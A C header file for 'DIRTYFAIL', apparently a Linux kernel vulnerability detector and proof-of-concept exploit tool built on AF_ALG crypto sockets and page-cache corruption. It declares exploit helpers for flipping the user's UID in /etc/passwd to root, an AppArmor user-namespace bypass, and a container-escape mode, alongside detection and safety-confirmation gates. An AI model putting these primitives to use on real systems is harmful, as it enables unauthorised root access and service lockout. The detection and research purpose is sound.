/* * DIRTYFAIL — common.h * * Shared declarations for the DIRTYFAIL detector + PoC binary. * * This file is intentionally light: AF_ALG / SOL_ALG constants that older * libcs do not export, log macros that respect --no-color, and the * type definitions used by every CVE module. */ #ifndef DIRTYFAIL_COMMON_H #define DIRTYFAIL_COMMON_H /* The Makefile passes -D_GNU_SOURCE on the command line; this guard * keeps gcc from warning about a duplicate definition when callers * include common.h after the cmdline -D has already taken effect. */ #ifndef _GNU_SOURCE #define _GNU_SOURCE #endif #include #include #include #include #include #include #include #include #include #include /* ------------------------------------------------------------------ * * AF_ALG constants * * These are upstream in , but plenty of distros ship * stale headers. Declare locally so DIRTYFAIL builds on every target * we have run it against (Ubuntu 22.04 → 24.04, RHEL 9/10, Fedora 42+). * ------------------------------------------------------------------ */ #ifndef AF_ALG #define AF_ALG 38 #endif #ifndef SOL_ALG #define SOL_ALG 279 #endif #define ALG_SET_KEY 1 #define ALG_SET_IV 2 #define ALG_SET_OP 3 #define ALG_SET_AEAD_ASSOCLEN 4 #define ALG_SET_AEAD_AUTHSIZE 5 #define ALG_OP_DECRYPT 0 #define ALG_OP_ENCRYPT 1 #define CRYPTO_AUTHENC_KEYA_PARAM 1 /* rtattr type, */ struct sockaddr_alg_compat { unsigned short salg_family; unsigned char salg_type[14]; unsigned int salg_feat; unsigned int salg_mask; unsigned char salg_name[64]; }; /* ------------------------------------------------------------------ * * Logging * * DIRTYFAIL output is meant to be skim-readable by a researcher *and* * grep-friendly in CI. We use a small set of fixed prefixes so that * automation can match on lines without parsing color escapes: * * [*] step / status [+] good news / detection result * [-] bad news [!] attention / VULNERABLE * [i] hint [?] prompt * ------------------------------------------------------------------ */ extern bool dirtyfail_use_color; /* When true, --scan and --check-* modes do an active sentinel-file STORE * probe per mode in addition to precondition checks. Set by --active. */ extern bool dirtyfail_active_probes; /* When true, --no-shell mode skips the auto-revert step — the page-cache * plant survives until --cleanup or drop_caches. Used by the * container-escape demo to show that the corruption crosses namespace * boundaries. Set by --no-revert. */ extern bool dirtyfail_no_revert; /* When true, --scan emits a single JSON object on stdout (suitable for * SIEM/fleet ingestion); all log output (banner, step/ok/bad/warn/hint) * is redirected to stderr. Set by --json. */ extern bool dirtyfail_json; void log_step (const char *fmt, ...) __attribute__((format(printf, 1, 2))); void log_ok (const char *fmt, ...) __attribute__((format(printf, 1, 2))); void log_bad (const char *fmt, ...) __attribute__((format(printf, 1, 2))); void log_warn (const char *fmt, ...) __attribute__((format(printf, 1, 2))); void log_hint (const char *fmt, ...) __attribute__((format(printf, 1, 2))); /* ------------------------------------------------------------------ * * Result codes returned by every detector / exploiter. * * They map onto exit codes used by the top-level binary so that CI * pipelines can branch on them without parsing stdout: * * DF_OK exit 0 not vulnerable * DF_VULNERABLE exit 2 vulnerable (detector confirmed primitive) * DF_PRECOND_FAIL exit 0 prerequisites missing → not vulnerable here * DF_TEST_ERROR exit 1 could not determine * DF_EXPLOIT_OK exit 0 exploit succeeded (root achieved) * DF_EXPLOIT_FAIL exit 3 exploit attempted but did not land * * Detectors should never return DF_EXPLOIT_*; exploiters should never * return DF_PRECOND_FAIL (they assume the detector ran first). * ------------------------------------------------------------------ */ typedef enum { DF_OK = 0, DF_VULNERABLE = 2, DF_PRECOND_FAIL = 4, DF_TEST_ERROR = 1, DF_EXPLOIT_OK = 5, DF_EXPLOIT_FAIL = 3, } df_result_t; /* ------------------------------------------------------------------ * * Utilities (common.c) * ------------------------------------------------------------------ */ /* Parse uname(2)->release into (major, minor). Returns false on parse error. */ bool kernel_version(int *major, int *minor); /* Read /proc/modules and return true if `name` is loaded. Returns false * (and sets errno) if /proc/modules cannot be opened. */ bool kmod_loaded(const char *name); /* Best-effort: can the calling user create a user namespace? * forks a child that calls unshare(CLONE_NEWUSER) and reports back. */ bool unprivileged_userns_allowed(void); /* Find current user's UID/GID field offsets in /etc/passwd. * uid_off, uid_len: byte offset and string length of UID field * uid_str: caller-supplied buffer >= 16 bytes; receives current UID * Returns false if user not found or UID isn't a 4-digit number. */ bool find_passwd_uid_field(const char *username, off_t *uid_off, size_t *uid_len, char *uid_str); /* Drop the kernel page cache. Requires root. */ bool drop_caches(void); /* Best-effort eviction of /etc/passwd from page cache. Tries * POSIX_FADV_DONTNEED, then `sudo drop_caches` as belt-and-suspenders. * Returns true if at least one path succeeded. See common.c for * caveats. */ bool try_revert_passwd_page_cache(void); /* Print a hex+ASCII dump (max `len` bytes). For debug output. */ void hex_dump(const unsigned char *buf, size_t len); /* Build the rtattr-prefixed authenc keyblob expected by ALG_SET_KEY for * authencesn(hmac(sha256), cbc(aes)). `out` must be >= 8+authkeylen+enckeylen. * Returns total bytes written. */ size_t build_authenc_keyblob(unsigned char *out, const unsigned char *authkey, size_t authkeylen, const unsigned char *enckey, size_t enckeylen); /* Prompt the user to type the literal string `expected` and press enter. * Returns true only on exact match. Used as a last-line gate before * --exploit modifies real system state. */ bool typed_confirm(const char *expected); /* Convenience: open `path` RO and return a freshly-cached fd. * The page-cache primitives below all assume the page is hot. */ int open_and_cache(const char *path); /* Return the user's real (outer) uid, defeating the userns illusion. * * After the AppArmor bypass enters us into a fresh user namespace with * uid_map "0 1", `getuid()` returns 0 inside the namespace — * which lies to exploit code that wants to know which user account to * target in /etc/passwd. This helper reads /proc/self/uid_map; if it * shows a non-identity mapping like "0 1000 1", returns the outer uid * (1000). Otherwise (init namespace, or no userns at all) returns * `getuid()`. * * Same idea for real_gid_for_target. */ uid_t real_uid_for_target(void); gid_t real_gid_for_target(void); /* If $SSH_CONNECTION is set AND `target_user` is the SSH login user, * the user-uid-flip exploits about to fire will lock the operator out * of SSH (sshd reads modified /etc/passwd, sees uid 0, then StrictModes * rejects ~/.ssh/authorized_keys because file owner != logging-in uid). * The lockout persists until the page cache is evicted — typically only * a reboot recovers, since drop_caches needs root. * * Emit a loud warning and require an extra typed_confirm("YES_BREAK_SSH"). * Returns true to proceed, false to abort. Always returns true when not * over SSH or when the target user differs from $USER. */ bool ssh_lockout_check(const char *target_user); #endif /* DIRTYFAIL_COMMON_H */